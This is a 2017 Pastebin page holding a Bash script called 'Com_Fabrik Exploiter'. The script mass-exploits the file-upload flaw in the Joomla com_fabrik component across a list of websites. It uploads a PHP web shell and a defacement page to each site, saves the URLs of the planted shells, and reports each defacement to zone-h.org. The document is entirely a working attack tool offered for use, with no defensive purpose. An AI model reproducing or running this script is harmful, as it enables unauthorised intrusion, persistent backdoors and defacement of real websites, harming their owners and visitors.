ccocot

com_fabrikbot.sh

Dec 9th, 2017
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.54 KB | None | 0 0
  1. #!/bin/bash
  2. # CODE BY CCOCOT
  3. # TQ FOR INDONESIA CODE PARTY
  4.  
  5. header(){
  6. cat << "EOF"
  7.              ____   ____ ___  ____  _____   _   _ _____ _____
  8.             | __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
  9.             |  _ \| |  | | | | | | |  _|   |  \| |  _|   | |  
  10.             | |_) | |__| |_| | |_| | |___ _| |\  | |___  | |  
  11.             |____/ \____\___/|____/|_____(_)_| \_|_____| |_|  
  12.  
  13.                 Com_Fabrik Exploiter
  14.                 Ccocot | ccocot@bc0de.net
  15.                 Thank For Indonesia Code Party
  16. EOF
  17. }
  18.  
  19. com_fabrik(){
  20.     printf "[?] Website : ${web}\n"
  21.     local ngeshell=$(timeout 10 curl -s -L -F "file=@${1}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
  22.     if [[ $ngeshell =~ "${1}" ]]; then
  23.         printf "[+] Upload Shell ...... Berhasil [${2}/${1}] !\n"
  24.         echo "http://${2}/${1}" >> shel.txt
  25.     else
  26.         printf "[com_fabrik] [!] Upload Shell ...... Gagal !\n"
  27.     fi
  28.     local ngescript=$(timeout 10 curl -s -L -F "file=@${3}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
  29.     if [[ $ngescript =~ "${3}" ]]; then
  30.         printf "[com_fabrik] [+] Upload Script Deface ...... Berhasil [${2}/${3}] !\n"
  31.         echo "http://${2}/${3}" >> sc.txt
  32.         return 0
  33.     else
  34.         printf "[com_fabrik] [!] Upload Script Deface ...... Gagal !\n"
  35.         return 1
  36.     fi
  37. }
  38.  
  39. nge_zh(){
  40.     local submit=$(curl -s "http://www.zone-h.org/notify/single" -d "defacer=${1}&domain1=${2}&hackmode=1&reason=1" \
  41.     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" \
  42.     -H "Referer: http://www.zone-h.org/notify/single" \
  43.     -H "Origin: http://www.zone-h.org")
  44.     if [[ $submit =~ "color=\"red\">OK<" ]]; then
  45.         echo "${2}" >> zh.txt
  46.         printf "[+] Zone-H ...... OK [${1}] (${2}) !\n"
  47.     else
  48.         printf "[!] Zone-H ...... ERROR [${1}] (${2}) !\n"
  49.     fi
  50. }
  51.  
  52. if [ -z $1 ]; then
  53.     header
  54.     printf "\n To Use $0 <file.txt> <nick> <shell.php> <script.html>\n"
  55.     exit 1
  56. fi
  57.  
  58. header
  59.  
  60. sc=${4}
  61. shell=${3}
  62. nick=${2}
  63.  
  64. printf "\nNickname: ${nick}\n"
  65. printf "Shell File: ${shell}\n"
  66. printf "Script Deface: ${sc}\n\n"
  67.  
  68. # OPTIONAL
  69. persend=20
  70. setleep=5
  71.  
  72. itung=1
  73.  
  74. IFS=$'\r\n' GLOBIGNORE='*' command eval 'web=($(cat $1))'
  75. for (( i = 0; i < "${#web[@]}"; i++ )); do
  76.  
  77.     set_kirik=$(expr $itung % $persend)
  78.     if [[ $set_kirik == 0 && $itung > 0 ]]; then
  79.         sleep $setleep
  80.     fi
  81.  
  82.     web="${web[$i]}"
  83.  
  84.     urlsc_comfabrik="${web[$i]}/${sc}"
  85.     if com_fabrik ${shell} ${web} ${sc} ; then nge_zh ${nick} ${urlsc_comfabrik} ;fi &
  86.  
  87.     itung=$[$itung+1]
  88. done
  89. wait
Advertisement
Add Comment
Please, Sign In to add comment